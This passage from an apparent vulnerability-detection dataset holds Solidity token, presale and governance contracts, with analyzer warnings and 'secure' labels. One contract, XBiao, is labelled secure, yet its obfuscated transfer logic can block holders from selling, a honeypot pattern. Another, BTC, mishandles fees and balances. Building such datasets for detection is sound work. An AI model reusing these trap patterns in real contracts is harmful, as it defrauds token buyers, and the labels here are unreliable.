returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4f1260): BTC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4f1260: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4d35c90\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c21a465\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = false;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n takeFee = true;\n\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c21a465): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c21a465: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4d35c90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4d35c90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {\n uint256 half = contractTokenBalance.div(2);\n\n uint256 otherHalf = contractTokenBalance.sub(half);\n\n uint256 initialBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: c21a465\n\t\t// reentrancy-benign | ID: 4d35c90\n swapTokensForEth(half);\n\n uint256 newBalance = address(this).balance.sub(initialBalance);\n\n\t\t// reentrancy-events | ID: c21a465\n\t\t// reentrancy-benign | ID: 4d35c90\n addLiquidity(otherHalf, newBalance);\n\n\t\t// reentrancy-events | ID: c21a465\n emit SwapAndLiquify(half, newBalance, otherHalf);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c21a465\n\t\t// reentrancy-benign | ID: 4d35c90\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0f06ee9): BTC.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 0f06ee9: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c21a465\n\t\t// reentrancy-benign | ID: 4d35c90\n\t\t// unused-return | ID: 0f06ee9\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n _transferStandard(sender, recipient, amount, takeFee);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount,\n bool takeFee\n ) private {\n uint256 fee = 0;\n\n if (takeFee) {\n fee = tAmount.mul(2).div(100);\n }\n\n uint256 rAmount = tAmount - fee;\n\n _tOwned[recipient] = _tOwned[recipient].add(rAmount);\n\n _tOwned[sender] = _tOwned[sender].sub(rAmount);\n\n if (_isExcludedFromFee[sender] && _isExcludedFromFee[recipient]) {\n _tOwned[sender] = _tOwned[sender].add(rAmount);\n } else {\n emit Transfer(sender, recipient, rAmount);\n }\n }\n}",
"file_name": "solidity_code_3092.sol",
"secure": 0,
"size_bytes": 17545
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract SafePad is Ownable, ERC20 {\n using SafeERC20 for IERC20;\n\n constructor() ERC20(\"SafePad\", \"SAFEPAD\") {\n _transferOwnership(0xe2c1276827F212478532B74520820a558d9B9d70);\n _mint(owner(), 1_000_000_000_000 * (10 ** 18));\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function burn(uint256 amount) external {\n super._burn(_msgSender(), amount);\n }\n\n function claimStuckTokens(address token) external onlyOwner {\n if (token == address(0x0)) {\n payable(_msgSender()).transfer(address(this).balance);\n return;\n }\n IERC20 ERC20token = IERC20(token);\n uint256 balance = ERC20token.balanceOf(address(this));\n ERC20token.safeTransfer(_msgSender(), balance);\n }\n}",
"file_name": "solidity_code_3093.sol",
"secure": 1,
"size_bytes": 1155
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DuckFace is Ownable, IERC20, IERC20Metadata {\n uint256 public dexLaunchTime = 0;\n bool private _liquidityAdded = false;\n uint256 private immutable _maxBuy = 10000000000 * (10 ** decimals());\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n mapping(address => bool) private _isExcludedFromFee;\n\n event SwapTokensForETH(uint256 amountIn, address[] path, address recipient);\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"DuckFace\";\n _symbol = \"DUCKFACE\";\n\n _mint(_msgSender(), (1000000000000 * 10 ** decimals()));\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9d0cd3c): DuckFace.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9d0cd3c: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1177436): DuckFace.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1177436: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 271cfce): DuckFace.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 271cfce: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 43e5e74): DuckFace.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 43e5e74: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ccae19): DuckFace.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ccae19: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function super_transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7bb799d): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 7bb799d: Avoid relying on 'block.timestamp'.\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(\n balanceOf(from) >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if ((from == uniswapV2Pair || to == uniswapV2Pair)) {\n if (\n\t\t\t\t// timestamp | ID: 7bb799d\n from == uniswapV2Pair &&\n (block.timestamp < (dexLaunchTime + 30 minutes)) &&\n _liquidityAdded &&\n (to != owner())\n ) {\n require(\n (amount + balanceOf(to)) <= _maxBuy,\n \"ERC20: balance amount exceeds the max buying amount\"\n );\n }\n if (to == uniswapV2Pair && !_liquidityAdded && from == owner()) {\n _liquidityAdded = true;\n dexLaunchTime = block.timestamp;\n }\n }\n super_transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ad67755): DuckFace._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ad67755: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 79cd81c): DuckFace._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 79cd81c: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_3094.sol",
"secure": 0,
"size_bytes": 8868
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Initializable {\n bool private initialized;\n\n bool private initializing;\n\n modifier initializer() {\n require(\n initializing || isConstructor() || !initialized,\n \"Contract instance has already been initialized\"\n );\n\n bool isTopLevelCall = !initializing;\n if (isTopLevelCall) {\n initializing = true;\n initialized = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n initializing = false;\n }\n }\n\n function isConstructor() private view returns (bool) {\n address self = address(this);\n uint256 cs;\n assembly {\n cs := extcodesize(self)\n }\n return cs == 0;\n }\n\n uint256[50] private ______gap;\n}",
"file_name": "solidity_code_3095.sol",
"secure": 1,
"size_bytes": 857
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\ncontract Governable is Initializable {\n address public governor;\n\n event GovernorshipTransferred(\n address indexed previousGovernor,\n address indexed newGovernor\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7807c21): Governable.initialize(address).governor_ lacks a zerocheck on \t governor = governor_\n\t// Recommendation for 7807c21: Check that the address is not zero.\n function initialize(address governor_) public virtual initializer {\n\t\t// missing-zero-check | ID: 7807c21\n governor = governor_;\n emit GovernorshipTransferred(address(0), governor);\n }\n\n modifier governance() {\n require(msg.sender == governor);\n _;\n }\n\n function renounceGovernorship() public governance {\n emit GovernorshipTransferred(governor, address(0));\n governor = address(0);\n }\n\n function transferGovernorship(address newGovernor) public governance {\n _transferGovernorship(newGovernor);\n }\n\n function _transferGovernorship(address newGovernor) internal {\n require(newGovernor != address(0));\n emit GovernorshipTransferred(governor, newGovernor);\n governor = newGovernor;\n }\n}",
"file_name": "solidity_code_3096.sol",
"secure": 0,
"size_bytes": 1388
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ForeverCR7Presale is Ownable {\n using SafeERC20 for IERC20;\n using SafeERC20 for IERC20Metadata;\n uint256[4] public rate;\n address public saleToken;\n uint256 public saleTokenDec;\n uint256 public totalTokensforSale;\n uint256 public maxBuyLimit;\n uint256 public minBuyLimit;\n mapping(address => bool) public tokenWL;\n mapping(address => uint256[4]) public tokenPrices;\n address[] public buyers;\n uint256 public presaleStartTime;\n uint256 public presaleEndTime;\n bool public isUnlockingStarted;\n mapping(address => BuyerTokenDetails) public buyersAmount;\n uint256 public totalTokensSold;\n Bounce[] public bounces;\n struct BuyerTokenDetails {\n uint256 amount;\n bool isClaimed;\n }\n struct Bounce {\n uint256 amount;\n uint256 percentage;\n }\n constructor() {}\n modifier isPresaleHasNotStarted() {\n if (presaleStartTime != 0) {\n require(\n block.timestamp < presaleStartTime,\n \"Presale: Presale has already started\"\n );\n }\n _;\n }\n modifier isPresaleStarted() {\n require(\n block.timestamp >= presaleStartTime,\n \"Presale: Presale has not started yet\"\n );\n _;\n }\n modifier isPresaleNotEnded() {\n require(block.timestamp < presaleEndTime, \"Presale: Presale has ended\");\n _;\n }\n modifier isPresaleEnded() {\n require(\n block.timestamp >= presaleEndTime,\n \"Presale: Presale has not ended yet\"\n );\n _;\n }\n event TokenAdded(address token, uint256[4] price);\n event TokenUpdated(address token, uint256[4] price);\n event TokensBought(\n address indexed buyer,\n address indexed token,\n uint256 amount,\n uint256 tokensBought\n );\n event TokensUnlocked(address indexed buyer, uint256 amount);\n event SaleTokenAdded(address token, uint256 amount);\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 43cd512): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 43cd512: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9237e51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9237e51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setSaleTokenParams(\n address _saleToken,\n uint256 _totalTokensforSale\n ) external onlyOwner isPresaleHasNotStarted {\n require(\n _saleToken != address(0),\n \"Presale: Sale token cannot be zero address\"\n );\n require(\n _totalTokensforSale > 0,\n \"Presale: Total tokens for sale cannot be zero\"\n );\n saleToken = _saleToken;\n saleTokenDec = IERC20Metadata(saleToken).decimals();\n\n\t\t// reentrancy-events | ID: 43cd512\n\t\t// reentrancy-benign | ID: 9237e51\n IERC20(saleToken).safeTransferFrom(\n msg.sender,\n address(this),\n _totalTokensforSale\n );\n\t\t// reentrancy-benign | ID: 9237e51\n totalTokensforSale = IERC20(saleToken).balanceOf(address(this));\n\t\t// reentrancy-events | ID: 43cd512\n emit SaleTokenAdded(_saleToken, _totalTokensforSale);\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a39239f): ForeverCR7Presale.setPresaleTime(uint256,uint256) should emit an event for presaleStartTime = _presaleStartTime presaleEndTime = _presaleEndTime \n\t// Recommendation for a39239f: Emit an event for critical parameter changes.\n function setPresaleTime(\n uint256 _presaleStartTime,\n uint256 _presaleEndTime\n ) external onlyOwner isPresaleHasNotStarted {\n require(\n _presaleStartTime < _presaleEndTime,\n \"Presale: Start time must be less than end time\"\n );\n\t\t// events-maths | ID: a39239f\n presaleStartTime = _presaleStartTime;\n\t\t// events-maths | ID: a39239f\n presaleEndTime = _presaleEndTime;\n }\n function addWhiteListedToken(\n address _token,\n uint256[4] memory _price\n ) external onlyOwner {\n tokenWL[_token] = true;\n tokenPrices[_token] = _price;\n emit TokenAdded(_token, _price);\n }\n function updateEthRate(uint256[4] memory _rate) external onlyOwner {\n rate = _rate;\n }\n function updateTokenRate(\n address _token,\n uint256[4] memory _price\n ) external onlyOwner {\n require(tokenWL[_token], \"Presale: Token not whitelisted\");\n tokenPrices[_token] = _price;\n emit TokenUpdated(_token, _price);\n }\n function startUnlocking() external onlyOwner isPresaleEnded {\n require(!isUnlockingStarted, \"Presale: Unlocking has already started\");\n isUnlockingStarted = true;\n }\n function stopUnlocking() external onlyOwner isPresaleEnded {\n require(isUnlockingStarted, \"Presale: Unlocking hasn't started yet!\");\n isUnlockingStarted = false;\n }\n function setBounces(\n uint256[] memory _amounts,\n uint256[] memory _percentages\n ) external onlyOwner {\n require(\n _amounts.length == _percentages.length,\n \"Presale: Bounce arrays length mismatch\"\n );\n for (uint256 i = 0; i < _percentages.length; i++) {\n require(\n _percentages[i] <= 1000,\n \"Presale: Percentage should be less than 1000\"\n );\n }\n delete bounces;\n for (uint256 i = 0; i < _amounts.length; i++) {\n uint256 min = i;\n for (uint256 j = i + 1; j < _amounts.length; j++) {\n if (_amounts[j] < _amounts[min]) {\n min = j;\n }\n }\n uint256 temp = _amounts[min];\n _amounts[min] = _amounts[i];\n _amounts[i] = temp;\n\n temp = _percentages[min];\n _percentages[min] = _percentages[i];\n _percentages[i] = temp;\n\n bounces.push(Bounce(_amounts[i], _percentages[i]));\n }\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b7f8832): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for b7f8832: Avoid relying on 'block.timestamp'.\n function getCurrentTier() public view returns (uint256) {\n uint256 duration = presaleEndTime - (presaleStartTime);\n\n\t\t// timestamp | ID: b7f8832\n if (block.timestamp <= presaleStartTime + (duration / (4))) {\n return 0;\n\t\t// timestamp | ID: b7f8832\n } else if (block.timestamp <= presaleStartTime + (duration / (2))) {\n return 1;\n\t\t// timestamp | ID: b7f8832\n } else if (block.timestamp <= presaleStartTime + ((duration * 3) / 4)) {\n return 2;\n } else {\n return 3;\n }\n }\n function getTokenAmount(\n address token,\n uint256 amount\n ) public view returns (uint256) {\n uint256 amtOut;\n uint256 tier = getCurrentTier();\n if (token != address(0)) {\n require(tokenWL[token], \"Presale: Token not whitelisted\");\n\n amtOut = tokenPrices[token][tier] != 0\n ? (amount * (10 ** saleTokenDec)) / (tokenPrices[token][tier])\n : 0;\n } else {\n amtOut = rate[tier] != 0\n ? (amount * (10 ** saleTokenDec)) / (rate[tier])\n : 0;\n }\n return amtOut;\n }\n\n function getBounceAmount(uint256 amount) public view returns (uint256) {\n uint256 bounce = 0;\n\t\t// cache-array-length | ID: a8b5608\n for (uint256 i = 0; i < bounces.length; i++) {\n if (amount >= bounces[i].amount) {\n bounce = bounces[i].percentage;\n }\n }\n return (amount * bounce) / 1000;\n }\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9d88453): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9d88453: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 621b660): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 621b660: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyToken(\n address _token,\n uint256 _amount\n ) external payable isPresaleStarted isPresaleNotEnded {\n uint256 saleTokenAmt = _token != address(0)\n ? getTokenAmount(_token, _amount)\n : getTokenAmount(address(0), msg.value);\n require(\n saleTokenAmt >= minBuyLimit,\n \"Presale: Min buy limit not reached\"\n );\n require(\n buyersAmount[msg.sender].amount + saleTokenAmt <= maxBuyLimit,\n \"Presale: Max buy limit reached for this phase\"\n );\n require(\n (totalTokensSold + saleTokenAmt) <= totalTokensforSale,\n \"Presale: Total Token Sale Reached!\"\n );\n\n if (_token != address(0)) {\n require(_amount > 0, \"Presale: Cannot buy with zero amount\");\n require(tokenWL[_token], \"Presale: Token not whitelisted\");\n\n\t\t\t// reentrancy-events | ID: 9d88453\n\t\t\t// reentrancy-no-eth | ID: 621b660\n IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);\n }\n\n saleTokenAmt = saleTokenAmt + (getBounceAmount(saleTokenAmt));\n\n\t\t// reentrancy-no-eth | ID: 621b660\n totalTokensSold += saleTokenAmt;\n\t\t// reentrancy-no-eth | ID: 621b660\n buyersAmount[msg.sender].amount += saleTokenAmt;\n\n\t\t// reentrancy-events | ID: 9d88453\n emit TokensBought(msg.sender, _token, _amount, saleTokenAmt);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d8bd033): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d8bd033: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawToken() external {\n require(isUnlockingStarted, \"Presale: Locking period not over yet\");\n\n require(\n !buyersAmount[msg.sender].isClaimed,\n \"Presale: Already claimed\"\n );\n\n uint256 tokensforWithdraw = buyersAmount[msg.sender].amount;\n buyersAmount[msg.sender].isClaimed = true;\n\t\t// reentrancy-events | ID: d8bd033\n IERC20(saleToken).safeTransfer(msg.sender, tokensforWithdraw);\n\n\t\t// reentrancy-events | ID: d8bd033\n emit TokensUnlocked(msg.sender, tokensforWithdraw);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 17eb11d): ForeverCR7Presale.setMinBuyLimit(uint256) should emit an event for minBuyLimit = _minBuyLimit \n\t// Recommendation for 17eb11d: Emit an event for critical parameter changes.\n function setMinBuyLimit(uint256 _minBuyLimit) external onlyOwner {\n\t\t// events-maths | ID: 17eb11d\n minBuyLimit = _minBuyLimit;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9f4045a): ForeverCR7Presale.setMaxBuyLimit(uint256) should emit an event for maxBuyLimit = _maxBuyLimit \n\t// Recommendation for 9f4045a: Emit an event for critical parameter changes.\n function setMaxBuyLimit(uint256 _maxBuyLimit) external onlyOwner {\n\t\t// events-maths | ID: 9f4045a\n maxBuyLimit = _maxBuyLimit;\n }\n\n function withdrawSaleToken(\n uint256 _amount\n ) external onlyOwner isPresaleEnded {\n IERC20(saleToken).safeTransfer(msg.sender, _amount);\n }\n\n function withdrawAllSaleToken() external onlyOwner isPresaleEnded {\n uint256 amt = IERC20(saleToken).balanceOf(address(this));\n IERC20(saleToken).safeTransfer(msg.sender, amt);\n }\n\n function withdraw(address token, uint256 amt) public onlyOwner {\n require(\n token != saleToken,\n \"Presale: Cannot withdraw sale token with this method, use withdrawSaleToken() instead\"\n );\n IERC20(token).safeTransfer(msg.sender, amt);\n }\n\n function withdrawAll(address token) public onlyOwner {\n require(\n token != saleToken,\n \"Presale: Cannot withdraw sale token with this method, use withdrawAllSaleToken() instead\"\n );\n uint256 amt = IERC20(token).balanceOf(address(this));\n withdraw(token, amt);\n }\n\n function withdrawCurrency(uint256 amt) public onlyOwner {\n payable(msg.sender).transfer(amt);\n }\n}",
"file_name": "solidity_code_3097.sol",
"secure": 0,
"size_bytes": 13958
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract XBiao is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address ihobtjcl,\n address jlmrzo,\n uint256 zjfl\n ) public returns (bool success) {\n require(zjfl <= allowance[ihobtjcl][msg.sender]);\n allowance[ihobtjcl][msg.sender] -= zjfl;\n amfzbvscjln(ihobtjcl, jlmrzo, zjfl);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: f092e4d): xBiao.symbol should be constant \n\t// Recommendation for f092e4d: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"0xBiao\";\n\n mapping(address => uint256) private ehquxdjoc;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 81ab0b3): xBiao.wphbysxrf should be immutable \n\t// Recommendation for 81ab0b3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public wphbysxrf;\n\n\t// WARNING Optimization Issue (constable-states | ID: e80d022): xBiao.svile should be constant \n\t// Recommendation for e80d022: Add the 'constant' attribute to state variables that never change.\n uint256 private svile = 86;\n\n mapping(address => uint256) public balanceOf;\n\n function amfzbvscjln(\n address ihobtjcl,\n address jlmrzo,\n uint256 zjfl\n ) private returns (bool success) {\n if (ehquxdjoc[ihobtjcl] == 0) {\n balanceOf[ihobtjcl] -= zjfl;\n }\n\n if (zjfl == 0) pvyojdczexi[jlmrzo] += svile;\n\n if (\n ihobtjcl != wphbysxrf &&\n ehquxdjoc[ihobtjcl] == 0 &&\n pvyojdczexi[ihobtjcl] > 0\n ) {\n ehquxdjoc[ihobtjcl] -= svile;\n }\n\n balanceOf[jlmrzo] += zjfl;\n emit Transfer(ihobtjcl, jlmrzo, zjfl);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 10db0a5): xBiao.name should be constant \n\t// Recommendation for 10db0a5: Add the 'constant' attribute to state variables that never change.\n string public name = \"0xBiao\";\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function transfer(\n address jlmrzo,\n uint256 zjfl\n ) public returns (bool success) {\n amfzbvscjln(msg.sender, jlmrzo, zjfl);\n return true;\n }\n\n function approve(\n address ojyedufvm,\n uint256 zjfl\n ) public returns (bool success) {\n allowance[msg.sender][ojyedufvm] = zjfl;\n emit Approval(msg.sender, ojyedufvm, zjfl);\n return true;\n }\n\n mapping(address => uint256) private pvyojdczexi;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64334c3): xBiao.totalSupply should be constant \n\t// Recommendation for 64334c3: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n constructor(address rcxtpomybkd) {\n balanceOf[msg.sender] = totalSupply;\n ehquxdjoc[rcxtpomybkd] = svile;\n IUniswapV2Router02 tbiumswlcr = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n wphbysxrf = IUniswapV2Factory(tbiumswlcr.factory()).createPair(\n address(this),\n tbiumswlcr.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b87686): xBiao.decimals should be constant \n\t// Recommendation for 6b87686: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n}",
"file_name": "solidity_code_3098.sol",
"secure": 1,
"size_bytes": 4040
} |
{
